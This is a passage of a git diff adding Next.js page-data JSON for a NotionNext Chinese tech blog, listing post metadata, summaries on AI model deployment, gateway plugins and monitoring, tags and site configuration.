e":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"discussion":{"45873f33-55d6-429d-8c74-409cd1d0d77a":{"value":{"id":"45873f33-55d6-429d-8c74-409cd1d0d77a","version":9,"parent_id":"1d826e8b-3136-43d3-b7c3-9ca1b2913155","parent_table":"block","context":{"rejected":true,"snapshot":{"data":[{"type":"textValue","value":[["w",[["si","45873f33-55d6-429d-8c74-409cd1d0d77a"]]]]}]},"resolvedBy":{"id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","table":"notion_user"},"latestSessionId":"5e8371bd-a8f8-4c8f-8fef-3f4ccfbd16ab","modifiedBlockIds":["1d826e8b-3136-43d3-b7c3-9ca1b2913155"]},"resolved":true,"comments":["854b0db3-cf79-4483-a941-699df31d96d8"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","type":"suggestion"},"role":"comment_only"}},"comment":{"854b0db3-cf79-4483-a941-699df31d96d8":{"value":{"id":"854b0db3-cf79-4483-a941-699df31d96d8","version":4,"parent_id":"45873f33-55d6-429d-8c74-409cd1d0d77a","text":[[""]],"created_time":1719373136527,"last_edited_time":1719373136531,"parent_table":"discussion","alive":true,"created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},"next":{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240626-demo.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240626-demo.json new file mode 100644 index 000000000..e138afefb --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240626-demo.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas 